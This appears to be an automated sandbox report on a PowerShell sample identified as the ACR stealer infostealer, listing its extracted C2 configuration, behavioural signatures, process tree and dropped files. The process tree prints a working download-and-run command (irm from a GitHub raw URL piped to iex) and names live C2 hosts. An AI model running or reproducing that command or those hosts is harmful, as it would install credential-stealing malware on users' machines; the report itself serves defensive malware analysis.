Analysis
- max time kernel
149s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
07/09/2026, 06:17
General
- Target core.ps1
- Size 74KB
- Sample260907-g2cm2sysgv
- SHA256 2f159c78415114009825a6a3c8aaf34251251d98406e892238fde5f051906d4f
Malware Config
Extracted
-
acrstealer
-
4.3.10-alpha1
-
lb.honeytrail.cc
-
cloudflare.com
-
ddrs
https://telegra.ph/Built-in-Types-08-01
-
guids
019fd851-d0e2-7805-ae09-2dd1daa78960
f1575b64-8492-4e8b-b102-4d26e8c70371
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36
Signatures
- Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
- Badlisted process makes network request 7 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 44 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\core.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2wjx04zd\2wjx04zd.cmdline"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE7C0.tmp" "c:\Users\Admin\AppData\Local\Temp\2wjx04zd\CSC589D73F02B0A4BC7B7DD2571E9F0EE4C.TMP"3⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\z5jlp3oc\z5jlp3oc.cmdline"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE8BA.tmp" "c:\Users\Admin\AppData\Local\Temp\z5jlp3oc\CSCB4372DE645994ECA82A2F8522C10CA75.TMP"3⤵
-
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm https://raw.githubusercontent.com/hangnail-lab/scorecard/refs/heads/main/Widget | iex2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe"3⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
2wjx04zd.dll
RESE7C0.tmp
RESE8BA.tmp
__PSScriptPolicyTest_zbf4q1g4.xky.ps1
z5jlp3oc.dll
2wjx04zd.0.cs
2wjx04zd.cmdline
CSC589D73F02B0A4BC7B7DD2571E9F0EE4C.TMP
CSCB4372DE645994ECA82A2F8522C10CA75.TMP
z5jlp3oc.0.cs
z5jlp3oc.cmdline
memory/2356-65-0x00000000026C0000-0x000000000277F000-memory.dmp
memory/2356-116-0x00000000026C0000-0x000000000277F000-memory.dmp
memory/2356-62-0x00000000026C0000-0x000000000277F000-memory.dmp
memory/2356-61-0x0000000000A80000-0x0000000000ABE000-memory.dmp
memory/2356-74-0x00000000026C0000-0x000000000277F000-memory.dmp
memory/2356-77-0x00000000026C0000-0x000000000277F000-memory.dmp
memory/2356-78-0x00000000026C0000-0x000000000277F000-memory.dmp
memory/2356-110-0x00000000026C0000-0x000000000277F000-memory.dmp
memory/2356-227-0x00000000026C0000-0x000000000277F000-memory.dmp
memory/2356-201-0x00000000026C0000-0x000000000277F000-memory.dmp
memory/2356-115-0x00000000026C0000-0x000000000277F000-memory.dmp
memory/2356-165-0x00000000026C0000-0x000000000277F000-memory.dmp
memory/2356-123-0x00000000026C0000-0x000000000277F000-memory.dmp
memory/5036-38-0x000002424BA30000-0x000002424BA54000-memory.dmp
memory/5036-23-0x0000024230C90000-0x0000024230C98000-memory.dmp
memory/5036-0-0x0000024249210000-0x0000024249220000-memory.dmp
memory/5036-37-0x000002424BA30000-0x000002424BA5A000-memory.dmp
memory/5036-36-0x000002424B4E0000-0x000002424B4E8000-memory.dmp
memory/5036-1-0x0000024249210000-0x0000024249220000-memory.dmp
memory/5036-69-0x000002424B390000-0x000002424B4DE000-memory.dmp
memory/5036-70-0x0000024249210000-0x0000024249220000-memory.dmp
memory/5036-68-0x0000024249210000-0x0000024249220000-memory.dmp
memory/5036-60-0x0000024249210000-0x0000024249220000-memory.dmp
memory/5036-7-0x00000242491E0000-0x0000024249202000-memory.dmp
memory/5036-10-0x0000024249210000-0x0000024249220000-memory.dmp
memory/6124-41-0x00000000054F0000-0x0000000005512000-memory.dmp
memory/6124-59-0x000000000BC40000-0x000000000C1E4000-memory.dmp
memory/6124-58-0x0000000007C40000-0x0000000007C62000-memory.dmp
memory/6124-57-0x0000000008390000-0x0000000008426000-memory.dmp
memory/6124-56-0x00000000084C0000-0x0000000008682000-memory.dmp
memory/6124-55-0x0000000006A60000-0x0000000006A7A000-memory.dmp
memory/6124-54-0x0000000007C70000-0x00000000082EA000-memory.dmp
memory/6124-53-0x0000000006570000-0x00000000065BC000-memory.dmp
memory/6124-52-0x0000000006530000-0x000000000654E000-memory.dmp
memory/6124-51-0x0000000005EF0000-0x0000000006244000-memory.dmp
memory/6124-43-0x0000000005DC0000-0x0000000005E26000-memory.dmp
memory/6124-42-0x0000000005D10000-0x0000000005D76000-memory.dmp
memory/6124-40-0x00000000056E0000-0x0000000005D08000-memory.dmp
memory/6124-39-0x0000000002BD0000-0x0000000002C06000-memory.dmp